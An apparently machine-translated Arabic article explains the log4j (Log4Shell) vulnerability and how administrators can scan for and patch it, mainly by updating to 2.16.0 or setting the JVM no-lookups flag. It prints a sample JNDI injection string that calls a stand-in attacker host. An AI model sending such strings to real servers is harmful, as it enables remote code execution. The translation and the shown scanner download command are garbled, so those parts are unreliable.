تم اكتشاف ثغرة خطيرة في مكتبة Java واسعة النطاق، مما أدى إلى تعطيل جزء كبير من الإنترنت بينما يسارع مسؤولو الخادم إلى إصلاحها. المكون المعرض للخطر، log4j
يتم استخدام , في كل مكان كمكتبة مضمنة، لذا ستحتاج إلى التحقق من خوادمك والتأكد من تحديثها.
كيف يعمل هذا الاستغلال؟
بقدر ما يتعلق الأمر بالاستغلال، log4j
إن هذه الثغرة هي من أسوأ الثغرات التي ظهرت في السنوات القليلة الماضية، حيث سجلت درجة نادرة تبلغ 10/10 على مقياس CVSS، وسوف تطارد الإنترنت بأكمله لسنوات عديدة قادمة.
والأسوأ من ذلك هو log4j
ليس تطبيقًا — إنه مكتبة مفتوحة المصدر تستخدمها العديد من التطبيقات الأخرى. قد لا تكون مثبتة بشكل مباشر؛ فقد تكون مضمنة في تطبيقات أخرى
.jar
الملفات، أو تم تثبيتها بواسطة تطبيقات أخرى كاعتمادية.
في الأساس، يسمح هذا للمهاجمين بإرسال نص إلى تطبيقك، وإذا سجله في مكان ما (على سبيل المثال، تسجيل سلسلة وكيل يتحكم فيها المستخدم في خادم ويب)، فسينفذ الخادم تعليمات برمجية ضارة. يبدو تنسيق النص كما في المثال التالي: سلسلة بسيطة للغاية تحتوي على رابط إلى عنوان بعيد.
${jndi:ldap://attacker.com/a}
المكون الضعيف في log4j
هل هو تسمية جافا وواجهة الدليل، مما يسمح لإطار عمل التسجيل بإجراء طلبات عن بُعد. باستثناء أنه يقوم أيضًا بإلغاء تسلسل الملف عند نقطة النهاية هذه، ويكون قادرًا على تحميل .class
ملفات تحتوي على تعليمات برمجية بعيدة. وهذا أمر سيئ.
هل أنا ضعيف؟
تم إصلاح الثغرة بسرعة log4j
أحدث إصدار 2.16.0لكن المشكلة لا تكمن في إصلاحها، بل في معرفة المكان الذي تحتاج إلى إصلاحه. log4j
إن Java عبارة عن اعتماد مضمن، وقد لا يكون من السهل البحث عن الإصدار المحدد منه على نظامك. ونظرًا لأن Java شائعة جدًا، فقد تستخدمها العديد من الأدوات والمكونات التابعة لجهات خارجية، لذا فقد لا تعرف حتى ما إذا كنت تقوم بتشغيل برنامج Java على أجهزتك.
حتى لو كنت تعتقد أنك لست عرضة للخطر، فمن المحتمل أنك لا تزال بحاجة إلى إعادة التحققيؤثر هذا الاستغلال على العديد من الأنظمة مما يزيد من احتمالية تشغيلك log4j
أو جافا دون أن ندرك ذلك.
لحسن الحظ، إصدارات JDK أكبر من 6u211
, 7u201
, 8u191
، و 11.0.1
لا تتأثر بمتجه الهجوم الأساسي (باستخدام LDAP) الذي يتم استغلاله بشكل أكبر في الوقت الحالي. لا يزال يتعين عليك تصحيحه بغض النظر عن ذلك، لأنه يمكن إصلاحه بسهولة يتم استخدامه مع متجهات الهجوم الأخرى أيضًابالإضافة إلى ذلك، فإن الفعل البسيط المتمثل في تقديم طلب إلى نقطة نهاية يمكن أن يكشف عن بيانات حول الأجهزة الموجودة على شبكتك، وهو ليس بالأمر الجيد أيضًا.
تسلط هذه الثغرة الضوء على أهمية الاحتفاظ بقائمة مواد البرامج (SBOM)، وهي في الأساس قائمة بكل البرامج الموجودة على أنظمتك، ومصدرها، وما هي مكوناتها. وفي المستقبل، يمكن أن تساعدك هذه المعرفة في التصدي بسرعة لهجمات مثل هذه.
في الوقت الحاضر، ربما يكون كل ما يهمك هو إصلاح الشبكة. للقيام بذلك، ستحتاج إلى مسح أنظمتك للعثور على log4j
الإصدارات التي يستخدمها برنامجك، وقم بإعداد قائمة بجميع المكونات المعرضة للخطر.
كيفية فحص النظام الخاص بك والتحقق من إصدارات log4j
لقد قام العديد من الأشخاص بالفعل بإنشاء نصوص برمجية لفحص الأنظمة تلقائيًا بحثًا عن التثبيتات المعرضة للخطر، مثل هذا هو المشهور المكتوب بلغة بايثون، و هذا من شركة الأمن LunaSec. أحد أسهل البرامج استخدامًا هل هذا هو نص bash البسيط؟، والذي يمكنه مسح الطرود الخاصة بك وتحديدها log4j
الإصدارات، ويمكنها أيضًا أن تخبرك ما إذا كان نظامك يستخدم Java في المقام الأول. في معظم الحالات، ستحتاج إلى تشغيل عمليات فحص متعددة باستخدام نصوص برمجية مختلفة، لأنه ليس من المضمون أن أيًا منها سيكون فعالًا بنسبة 100% في تحديد كل نظام معرض للخطر.
يمكنك تنزيله وتشغيله باستخدام بعض الأوامر. يجب تشغيله بصلاحيات الجذر لفحص النظام بالكامل، لذا بالطبع، كن حذرًا بشأن البرامج النصية التي تقوم بتشغيلها بصلاحيات الجذر من الإنترنت. هذا أيضًا تنفيذ عشوائي للكود.
wget -qchmod +x log4j_checker_beta.sh
sudo ./log4j_checker_beta.sh
تسلط النتائج من هذا البرنامج النصي الضوء على ما يجعل هذا البرنامج النصي مميزًا. log4j
ثغرة خطيرة للغاية — كشف تشغيل هذا على الخادم الشخصي الخاص بي أنني كنت عرضة للاستغلال، بعد أيام من اليوم صفر، على الرغم من اعتقادي أنني لم أقم بتثبيت Java على هذا الجهاز لأنني لا أقوم بتشغيل أي من برامج Java الخاصة بي.
يتم تشغيل Elasticsearch في الخلفية على هذا الجهاز، والذي تمت كتابته بلغة Java. لم يكن عليّ تثبيت Java يدويًا لتثبيت Elasticsearch؛ فهو يتضمن إصدارًا مجمعًا من OpenJDK. وهو يتضمن log4j
في هذا التثبيت وهو عرضة للاستغلال.
الحل، بالنسبة لـ Elasticsearch على الأقل، هو تحديث جميع الحزم واتباع أدلة التخفيف الخاصة بها. ومن المرجح أن يكون هذا هو الحال بالنسبة لأي برنامج تقوم بتشغيله؛ ستحتاج إلى تحديث log4j
قم بتحديث البرنامج الذي يحتوي عليه بشكل مباشر، أو قم بإصلاحه باستخدام أي من أفضل الممارسات التي يستخدمها الآخرون.
إذا لم تتمكن من تصحيح ملف jar لسبب ما، فيمكنك استخدام علم JVM هذا للتخفيف من حدة المشكلة، والذي يخبرك ببساطة log4j
لا تقم مطلقًا بإجراء أي عمليات بحث عند تنسيق الرسائل. ولكن لا يُنصح بذلك، ويجب أن تحاول الحصول على log4j
تم تثبيت الإصدار 2.16.0 أينما أمكن لإصلاح المشكلة بالكامل.
-Dlog4j2.formatMsgNoLookups=true